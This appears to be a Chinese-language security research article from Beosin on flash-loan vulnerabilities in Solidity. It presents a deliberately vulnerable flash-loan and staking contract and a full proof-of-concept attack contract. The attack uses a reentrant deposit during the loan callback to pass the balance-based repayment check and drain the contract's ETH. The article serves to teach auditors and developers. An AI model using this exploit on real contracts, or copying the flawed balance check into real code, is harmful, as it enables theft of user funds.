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Solidity语言闪电贷安全风险研究

金色-Beosin2023-11-08 02:08:57

来源：Beosin

虽然各种闪电贷项目的实现思路都大同小异，但是小小的不同也可能会导致严重的安全隐患。接下来的几篇文章，我们将陆续介绍Solidity、Move以及Rust语言闪电贷实现需要注意的问题以及解决办法。

今天我们先来介绍Solidity语言闪电贷需要注意的问题。

Solidity闪电贷设计中，大部分项目会通过检查自身余额来判断调用者是否归还资金。单独看该方式是没有问题的，因为无论调用者借钱后会进行什么操作，最终都能保证合约自身资金安全。但大多闪电贷项目都不会只提供一个闪电贷功能，合约中还会存在其他业务函数，如果其他函数中有对合约余额产生影响的业务，便可能存在严重的安全隐患。

注： 以下代码仅做为闪电贷安全问题研究代码，不排除存在其他安全问题

下列代码是一个简单的闪电贷示例合约，主要由两个部分组成：

第一个部分是闪电贷的功能， 首先记录一个借出前合约所拥有的ETH数量，在借出ETH的同时，会调用调用者指定合约的指定函数，最后判断本合约拥有的ETH数量是否大于等于借出之前的ETH数量加上1/100的手续费。

第二个部分便是提供闪电贷流动性的质押功能， 用户可以将ETH质押到闪电贷合约，通过闪电贷收取的手续费来赚取收益。

但是该合约中存在一个非常常见的重入漏洞，可以使得调用者在抵押的同时绕过闪电贷最终检查。

pragma solidity ^0.8.0;contract loan { string public name="lp_Loan"; string public symbol="LL"; uint256 public totalSupply; mapping(address => uint256) public _balance; event Transfer(address indexed from, address indexed to, uint256 value); constructor() { } function balanceOf(address owner) public view returns (uint256) { return _balance[owner]; } function _mint(uint256 amount) internal { _balance[msg.sender] = _balance[msg.sender] + amount; totalSupply+=amount; emit Transfer(address(0), msg.sender, amount); } function _burn(uint256 amount) internal { _balance[msg.sender] = _balance[msg.sender] - amount; totalSupply = totalSupply - amount; emit Transfer(msg.sender, address(0), amount);}//抵押ETH，获得凭证币 function deposit() public payable returns(uint256){ uint256 value=address(this).balance - msg.value; uint256 mint_amount; if(totalSupply==0){ mint_amount=msg.value; } else{ mint_amount=msg.value*totalSupply/value; } _mint(mint_amount); return mint_amount; }//提取ETH，销毁凭证币 function withdrew(uint256 amount) public returns(uint256){ uint256 value=address(this).balance; uint256 send_amount; send_amount = amount * value / totalSupply; _burn(amount); payable(msg.sender).call{value:send_amount}(""); return send_amount;}//闪电贷 function flash_loan(uint256 amountOut, address to, bytes calldata data) external { uint256 value=address(this).balance; require(amountOut <= value); //发送借款并调用目标合约 payable(to).call{value:amountOut}(data); value=value/100+value; //还款检查，收取1%手续费（真实项目可能不会这么高） require(address(this).balance>=value); } receive() external payable { }}

接下来我们使用以下PoC代码针对上述闪电贷项目进行攻击测试， 主要思路是利用闪电贷的回调函数进行重入攻击，可将正常的业务行为覆盖为还款行为，最终掏空闪电贷合约的ETH。

首先调用PoC合约的start()函数，函数将发起闪电贷。借贷金额为闪电贷合约的ETH余额减一，该步骤是为了后续deposit()的时候不会导致计算错误，传入back()函数做为回调参数。

然后在back()函数中，将借贷的ETH再加些许手续费抵押进闪电贷合约，会给PoC合约铸造凭证代币。back()函数结束时，闪电贷合约会检查还款情况，由于抵押时更新了ETH余额，所以检查将通过。最后PoC合约再利用凭证币将ETH提取出来。

pragma solidity ^0.8.0;interface loan { function flash_loan(uint256 amountOut, address to, bytes calldata data) external; function withdrew(uint256 amount) external returns(uint256); function deposit() external payable returns(uint256);}contract poc { address public owner; address _loan; loan i_loan; uint256 mint_amount; constructor(address loan_){ owner=msg.sender; _loan=loan_; i_loan=loan(loan_); } function start() public { uint256 value_first = address(this).balance; //发起闪电贷 i_loan.flash_loan(_loan.balance-1,address(this),abi.encodePacked(bytes4(keccak256("back()")))); //提取ETH i_loan.withdrew(mint_amount); //判断是否产生收益 require(address(this).balance > value_first); }function back() public payable { //闪电贷回调，质押ETH（此处并非一定质押102%的ETH，但必须超过101%） mint_amount = i_loan.deposit{value:(msg.value*102/100)}(); } receive() external payable { } function getEth() external { payable(owner).transfer(address(this).balance); }}